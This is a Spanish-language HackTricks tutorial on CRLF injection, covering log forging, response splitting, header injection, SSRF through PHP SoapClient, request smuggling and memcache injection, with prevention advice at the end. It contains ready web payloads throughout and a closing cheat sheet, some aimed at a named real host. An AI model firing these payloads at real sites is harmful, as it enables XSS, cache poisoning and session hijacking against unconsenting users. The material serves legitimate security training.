17 KiB
Inyección de CRLF (%0D%0A)
Aprende a hackear en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
¿Qué es CRLF?
Cuando un navegador envía una solicitud a un servidor web, el servidor responde con una respuesta que contiene tanto los encabezados de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Los encabezados HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un salto de línea. En resumen, también se les conoce como CRLF.
El servidor web utiliza el CRLF para entender cuándo comienza un nuevo encabezado HTTP y termina otro. El CRLF también puede indicar a una aplicación web o usuario que una nueva línea comienza en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que es utilizado por cualquier tipo de servidor web, incluyendo Apache, Microsoft IIS y todos los demás.
De https://www.netsparker.com/blog/web-security/crlf-http-header/#
¿Qué es la Vulnerabilidad de Inyección de CRLF?
En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto el retorno de carro como los caracteres de salto de línea en la entrada del usuario para engañar al servidor, la aplicación web o al usuario haciéndoles creer que un objeto ha terminado y otro ha comenzado. Como tales, las secuencias de CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
Inyección de CRLF en aplicaciones web
En aplicaciones web, una inyección de CRLF puede tener impactos graves, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad de aplicación web de impacto directo. De hecho, un ataque de inyección de CRLF puede tener repercusiones muy serias en una aplicación web, aunque nunca haya sido listado en el Top 10 de OWASP. Por ejemplo, también es posible manipular archivos de registro en un panel de administración como se explica en el siguiente ejemplo.
Un ejemplo de Inyección de CRLF en un archivo de registro
Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta Visitada, como el siguiente:
123.123.123.123 - 08:15 - /index.php?page=home
Si un atacante puede inyectar los caracteres CRLF en la solicitud HTTP, puede cambiar el flujo de salida y falsificar las entradas del registro. Puede cambiar la respuesta de la aplicación web a algo como lo siguiente:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
El %0d y el %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los muestre:
IP - Hora - Ruta Visitada
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ofuscar sus propias acciones maliciosas. El atacante está literalmente realizando secuestro de página y modificando la respuesta. Por ejemplo, imagina un escenario donde el atacante tiene la contraseña de administrador y ejecutó el parámetro restrictedaction, que solo puede ser utilizado por un administrador.
El problema es que si el administrador se da cuenta de que una IP desconocida utilizó el parámetro restrictedaction, notará que algo está mal. Sin embargo, dado que ahora parece que el comando fue emitido por el localhost (y por lo tanto probablemente por alguien que tiene acceso al servidor, como un administrador) no parece sospechoso.
Toda la parte de la consulta que comienza con %0d%0a será manejada por el servidor como un parámetro. Después de eso hay otro & con el parámetro restricted action que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:
/index.php?page=home&restrictedaction=edit
División de Respuesta HTTP
Descripción
Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF le indicará al navegador que el encabezado termina y el cuerpo comienza. Eso significa que ahora es capaz de escribir datos dentro del cuerpo de la respuesta donde se almacena el código html. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.
Un ejemplo de División de Respuesta HTTP que conduce a XSS
Imagina una aplicación que establece un encabezado personalizado, por ejemplo:
X-Your-Name: Bob
El valor del encabezado se establece a través de un parámetro get llamado "name". Si no hay codificación de URL en su lugar y el valor se refleja directamente dentro del encabezado, podría ser posible para un atacante insertar la combinación mencionada anteriormente de CRLFCRLF para indicarle al navegador que comienza el cuerpo de la solicitud. De esa manera, puede insertar datos como XSS payload, por ejemplo:
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
Lo anterior mostrará una ventana de alerta en el contexto del dominio atacado.
Un ejemplo de HTTP Response Splitting que conduce a Redirección
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Navegar a:
/%0d%0aLocation:%20http://myweb.com
Y el servidor responde con el encabezado:
Location: http://myweb.com
Otro ejemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
En la ruta URL
Puedes enviar el payload dentro de la ruta URL para controlar la respuesta del servidor:
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
Inyección de Encabezados HTTP
Descripción
Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían utilizarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la política de mismo origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede configurar cookies que podrían ser explotadas al iniciar sesión de la víctima en la cuenta del atacante o al explotar vulnerabilidades de cross-site scripting (XSS) que de otro modo no serían explotables.
Un ejemplo de Inyección de Encabezados HTTP para extraer datos sensibles
Si un atacante puede inyectar los encabezados HTTP que activan CORS (Compartición de Recursos de Origen Cruzado), puede usar javascript para acceder a recursos que de otro modo estarían protegidos por SOP (Política de Mismo Origen) que impide que sitios de diferentes orígenes accedan entre sí.
Nueva solicitud HTTP en SSRF
Abusando de la inyección CRLF puedes crear una nueva solicitud HTTP e inyectarla.
Un buen ejemplo se puede realizar utilizando el gadget de deserialización SoapClient en PHP. Esta clase es vulnerable a CRLF dentro del parámetro user_agent permitiendo insertar nuevos encabezados y contenido del cuerpo. Sin embargo, incluso podrías ser capaz de abusar de esta vulnerabilidad para inyectar una nueva solicitud HTTP:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
Inyección de Encabezados para el Contrabando de Solicitudes
Puedes inyectar encabezados esenciales para asegurar que el back-end mantenga la conexión abierta después de responder a la solicitud inicial:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Luego, especifica una segunda solicitud. Aquí tienes un clásico request smuggling con encabezados/cuerpo extra añadidos por el servidor después de la inyección. Aquí hay dos de las muchas opciones para la explotación entre usuarios.
Especificar un prefijo malicioso para envenenar la solicitud del siguiente usuario o una caché web:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
O elaborar nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar envenenamiento de la cola de respuestas.
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Para más información sobre esta técnica y problemas potenciales consulta la fuente original.
Inyección en Memcache
Memcache es un almacén de clave-valor que utiliza un protocolo de texto claro. Más información en:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Si una plataforma está tomando datos de una solicitud HTTP y usándolos sin desinfectar para realizar solicitudes a un servidor de memcache, un atacante podría abusar de este comportamiento para inyectar nuevos comandos de memcache.
Por ejemplo, en la vulnerabilidad original descubierta, las claves de caché se usaban para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron inyectar comandos de memcache que envenenarían la caché para enviar los detalles de las víctimas (incluidos nombres de usuario y contraseñas) a los servidores del atacante:
Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar la IP y los puertos de los atacantes a usuarios cuyo correo electrónico no conocía el atacante:
Para la información completa lee el artículo original
Impactos de la Vulnerabilidad de Inyección CRLF
El impacto de las inyecciones CRLF varía e incluye todos los impactos del Cross-site Scripting hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los Filtros XSS y la Política del Mismo Origen en los navegadores de las víctimas, dejándolos susceptibles a ataques maliciosos.
Cómo Prevenir Inyecciones CRLF / Encabezados HTTP en Aplicaciones Web
La mejor técnica de prevención es no usar directamente la entrada de los usuarios dentro de los encabezados de respuesta. Si eso no es posible, siempre debes usar una función para codificar los caracteres especiales CRLF. Otra buena práctica de seguridad en aplicaciones web es actualizar tu lenguaje de programación a una versión que no permita que se inyecten CR y LF dentro de funciones que establecen encabezados HTTP.
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Herramientas Automáticas
Lista de Detección por Fuerza Bruta
Referencias
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
Si estás interesado en una carrera en hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.